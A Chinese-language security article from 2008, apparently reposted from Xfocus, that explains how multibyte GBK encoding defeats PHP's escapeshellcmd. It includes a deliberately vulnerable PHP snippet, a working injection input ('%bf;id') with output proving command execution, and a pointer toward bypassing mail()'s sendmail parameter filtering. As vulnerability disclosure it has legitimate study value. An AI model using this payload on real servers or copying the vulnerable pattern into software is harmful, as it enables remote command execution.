php escapeshellcmd多字节编码漏洞解析
http://tech.ddvip.com 2008年05月27日 社区交流
内容摘要:近日安全研究人员在对PHP进行测试中发现,一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受安全威胁,本文做就就相关漏洞解释和一些自己的想法来和用户分享。
作为例子,正常情况下上面的代码工作很好,我们提交
exp.php?c=loveshell%bf;id
结果返回
loveshell?id
我们再来稍微改下上面的代码
<?php
putenv("LANG=zh_CN.GBK");
$e=escapeshellcmd($_GET[c]);
//herewedon'tcareif$ehasspaces
system("echo$e");
?>
php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:
loveshell?uid=99(nobody) gid=4294967295 groups=4294967295
命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。
mail函数一些代码片段如下:
......
if(PG(safe_mode)&&(ZEND_NUM_ARGS()==5)){
php_error_docref(NULLTSRMLS_CC,E_WARNING,"SAFEMODERestrictionineffect.ThefifthparameterisdisabledinSAFEMODE.");
RETURN_FALSE;
}
if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"sss|ss",
&to,&to_len,
&subject,&subject_len,
&message,&message_len,
&headers,&headers_len,
&extra_cmd,&extra_cmd_len
)==FAILURE){
return;
}
......
if(force_extra_parameters){
extra_cmd=estrdup(force_extra_parameters);
}elseif(extra_cmd){
extra_cmd=php_escape_shell_cmd(extra_cmd);
}
if(php_mail(to_r,subject_r,message,headers,extra_cmdTSRMLS_CC)){
RETVAL_TRUE;
}else{
RETVAL_FALSE;
}
.....
来源:Xfocus 作者:T_Torchidy 责编:豆豆技术应用
- php 正则表达式
- php 入门教程
- php 安装配置
- php 函数专题
- php 函数大全(EN)
- php 5.0 中文手册
- php 4.0 中文手册
- php 程序编码规范标准
- php 常见错误
- php 中文乱码
- php Apache 安装配置
- linux php 安装配置
- windows php 安装配置
- php 十天入门教程
- php 学习笔记
- php smarty 教程
- php 分页专题
- php 类
- php 变量
- php 常量
- php 数组
- php 脚本
- php 入门实例
- php 字符串
- php.ini 配置
- php xml 专题
- php session 教程
- php 对象模型
- 更多php专题……